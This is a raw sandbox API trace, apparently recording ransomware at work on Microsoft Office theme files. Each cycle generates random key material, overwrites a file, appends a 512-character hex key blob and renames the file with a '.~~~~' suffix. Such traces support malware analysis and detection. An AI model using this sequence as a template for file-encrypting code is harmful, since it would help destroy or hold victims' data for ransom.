	[0121.811] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\opulent.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\opulent.thmx.~~~~")) returned 1
	[0121.830] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3eac70 | out: hHeap=0x300000) returned 1
	[0121.830] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0121.830] GetLastError () returned 0x0
	[0121.837] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0121.838] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.838] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.838] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0121.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0121.838] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24182859893) returned 1
	[0121.839] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb2173750, dwHighDateTime=0x1d60e1e)) 
	[0121.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0121.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0121.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0121.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281e878
	[0121.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.839] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281e878 | out: hHeap=0x300000) returned 1
	[0121.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.839] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b64c0
	[0121.839] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b21f8
	[0121.839] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b64c0 | out: hHeap=0x300000) returned 1
	[0121.839] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0121.839] GetLastError () returned 0x0
	[0121.840] GetLastError () returned 0x0
	[0121.840] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0121.840] GetLastError () returned 0x0
	[0121.840] GetLastError () returned 0x0
	[0121.842] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffef918, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.842] WriteFile (in: hFile=0x130, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x106e8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x106e8, lpOverlapped=0x0) returned 1
	[0121.845] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0121.845] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.845] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.845] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.845] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.845] CloseHandle (hObject=0x130) returned 1
	[0121.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b64c0
	[0121.845] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\slipstream.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\slipstream.thmx.~~~~")) returned 1
	[0121.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b64c0 | out: hHeap=0x300000) returned 1
	[0121.847] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0121.847] GetLastError () returned 0x0
	[0121.848] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0121.849] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0121.849] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0121.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0121.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0121.849] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24183899348) returned 1
	[0121.849] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb21998b0, dwHighDateTime=0x1d60e1e)) 
	[0121.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0121.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0121.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0121.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281e8b0
	[0121.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0121.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281e8b0 | out: hHeap=0x300000) returned 1
	[0121.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0121.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3eac70
	[0121.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc798
	[0121.850] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3eac70 | out: hHeap=0x300000) returned 1
	[0121.850] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0121.850] GetLastError () returned 0x0
	[0121.850] GetLastError () returned 0x0
	[0121.850] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0121.850] GetLastError () returned 0x0
	[0121.850] GetLastError () returned 0x0
	[0121.853] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffedb60, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.853] WriteFile (in: hFile=0x130, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x124a0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x124a0, lpOverlapped=0x0) returned 1
	[0121.855] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0121.855] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.855] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.855] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.855] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.855] CloseHandle (hObject=0x130) returned 1
	[0121.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3eac70
	[0121.856] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\solstice.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\solstice.thmx.~~~~")) returned 1
	[0121.857] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3eac70 | out: hHeap=0x300000) returned 1
	[0121.857] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0121.857] GetLastError () returned 0x0
	[0121.858] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0121.859] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0121.859] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.859] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0121.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0121.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0121.859] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24184932785) returned 1
	[0121.859] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb21998b0, dwHighDateTime=0x1d60e1e)) 
	[0121.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0121.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0121.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0121.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281e8e8
	[0121.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.860] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281e8e8 | out: hHeap=0x300000) returned 1
	[0121.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.860] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3eac70
	[0121.860] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc960
	[0121.860] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3eac70 | out: hHeap=0x300000) returned 1
	[0121.860] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0121.860] GetLastError () returned 0x0
	[0121.860] GetLastError () returned 0x0
	[0121.861] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0121.861] GetLastError () returned 0x0
	[0121.861] GetLastError () returned 0x0
	[0121.936] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffef27d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.936] WriteFile (in: hFile=0x130, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x10d83, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x10d83, lpOverlapped=0x0) returned 1
	[0121.939] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0121.939] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.939] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.939] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.939] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.939] CloseHandle (hObject=0x130) returned 1
	[0121.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b5848
	[0121.939] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\technic.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\technic.thmx.~~~~")) returned 1
	[0121.941] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5848 | out: hHeap=0x300000) returned 1
	[0121.941] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0121.941] GetLastError () returned 0x0
	[0121.949] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0121.950] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.950] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.951] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0121.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0121.951] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24194091674) returned 1
	[0121.951] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb227e0f0, dwHighDateTime=0x1d60e1e)) 
	[0121.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0121.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0121.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0121.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b7b20
	[0121.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.951] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7b20 | out: hHeap=0x300000) returned 1
	[0121.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.951] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b5848
	[0121.952] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.952] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0121.952] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5848 | out: hHeap=0x300000) returned 1
	[0121.952] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0121.952] GetLastError () returned 0x0
	[0121.952] GetLastError () returned 0x0
	[0121.952] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0121.952] GetLastError () returned 0x0
	[0121.953] GetLastError () returned 0x0
	[0121.956] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffc3b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.956] WriteFile (in: hFile=0x140, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x3c5, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x1f8fec0*=0x3c5, lpOverlapped=0x0) returned 1
	[0121.957] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0121.957] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.958] WriteFile (in: hFile=0x140, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.958] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.958] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.958] CloseHandle (hObject=0x140) returned 1
	[0121.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928398
	[0121.958] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apothecary.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apothecary.xml.~~~~")) returned 1
	[0121.960] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928398 | out: hHeap=0x300000) returned 1
	[0121.960] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0121.960] GetLastError () returned 0x0
	[0121.960] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0121.962] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.962] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.962] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0121.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0121.962] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24195237142) returned 1
	[0121.962] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb22a4250, dwHighDateTime=0x1d60e1e)) 
	[0121.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0121.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0121.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0121.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b7ae8
	[0121.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.963] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7ae8 | out: hHeap=0x300000) returned 1
	[0121.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.963] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b5848
	[0121.963] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0121.963] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5848 | out: hHeap=0x300000) returned 1
	[0121.963] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0121.964] GetLastError () returned 0x0
	[0121.964] GetLastError () returned 0x0
	[0121.964] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0121.964] GetLastError () returned 0x0
	[0121.964] GetLastError () returned 0x0
	[0121.968] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffc3f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.968] WriteFile (in: hFile=0x140, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x3c1, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x1f8fec0*=0x3c1, lpOverlapped=0x0) returned 1
	[0121.970] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0121.970] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.970] WriteFile (in: hFile=0x140, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.970] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
